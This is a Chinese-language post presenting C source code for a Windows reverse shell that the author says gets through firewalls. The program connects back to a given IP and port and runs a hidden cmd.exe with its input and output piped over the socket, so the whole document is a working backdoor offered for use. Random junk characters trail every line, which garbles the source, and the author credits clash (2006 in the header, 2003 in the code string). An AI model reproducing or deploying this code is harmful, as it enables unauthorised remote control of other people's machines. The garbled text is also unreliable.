这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 $6T3y8
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/* ============================== Y>BP?l
Rebound port in Windows NT m
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By wind,2006/7 'Hw4j:pS
===============================*/ nBN&.+3t
#include @wp4 |G
#include [ |[>}z:
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#pragma comment(lib,"wsock32.lib") SHD^}?-|
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void OutputShell(); a8$kNtA
SOCKET sClient; e*C6uz9N
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Tr& }$kird
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void main(int argc,char **argv) JqCc;Cbd
{ B6]<G-
WSADATA stWsaData; H2;X
int nRet; HSN8O@dy
SOCKADDR_IN stSaiClient,stSaiServer; 8!mc@$Z
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if(argc != 3)
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{ BByCMY
printf("Useage:\n\rRebound DestIP DestPort\n"); .R5y:O
return; 99=s4*xzM
} R^*K6Ad
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WSAStartup(MAKEWORD(2,2),&stWsaData); cu&,J#r%
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); >O7~h[FN
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stSaiClient.sin_family = AF_INET; Zj*\"Ol
stSaiClient.sin_port = htons(0); PWB(5 f?
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 7\XE,;4>
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Sm-wH^~KA
{ 6Pn8f
printf("Bind Socket Failed!\n"); U47}QDh
return; 4v'A\~ZU
} ^V3v{>D>
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stSaiServer.sin_family = AF_INET; d2S~)/@S
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); VR5fqf|*
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); (*\jbK
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) k~3.MU
{ in-C/m#
printf("Connect Error!"); hWo=;#B*
return; ]3Dl)[R
} LfLFu9#:w
OutputShell(); ;heHefbvvd
} x;\wY'
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void OutputShell() X|DO~{-au
{ x9W(cKB'S
char szBuff[1024]; /mM2M-
SECURITY_ATTRIBUTES stSecurityAttributes; O
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OSVERSIONINFO stOsversionInfo; ?!VIS>C(
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; v$wBxCY
STARTUPINFO stStartupInfo; 3WY$WRv
char *szShell; 2F`cv1 M
PROCESS_INFORMATION stProcessInformation; FG@-bV
unsigned long lBytesRead; N_Akmh0D
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); w}R~C
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ]bi)$j.9s
stSecurityAttributes.lpSecurityDescriptor = 0; 1w(JEqY3h:
stSecurityAttributes.bInheritHandle = TRUE; xI*#(!x"G
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0);
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 8}e,%{q
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); sj?3M@l95W
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; AJ^#eY5
stStartupInfo.wShowWindow = SW_HIDE; {yA$V0`N{
stStartupInfo.hStdInput = hReadPipe; 76cG90!Z
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; X+k}2HvNG
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GetVersionEx(&stOsversionInfo); 'b*%ixa
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switch(stOsversionInfo.dwPlatformId) Gfp1mev
{ `qVjwJ!+
case 1: L I >(RMv
szShell = "command.com"; )~6zYJ2
break; {nT^tAha
default: _ee
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szShell = "cmd.exe"; 7Q w|!
break; 41a.#o
} CSPKP#,B0[
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); CzCQFqXI
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send(sClient,szMsg,77,0); )vg5((C
while(1) {O<l[|Ip
{ C:8_m1Y{
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); }N0Qm[R
if(lBytesRead) PQKaqv}N
{ "P-lSF?T
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); @H>@[+S#
send(sClient,szBuff,lBytesRead,0); K_?W\Yg
} klgy;jSEr
else me6OPc;:!
{ cRd0S*QN2
lBytesRead=recv(sClient,szBuff,1024,0); ps
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if(lBytesRead<=0) break; 'J&f%kx"
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); v[plT2"s
} :0)3K7Q
} {j5e9pg1L|
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return; ]u l$*
}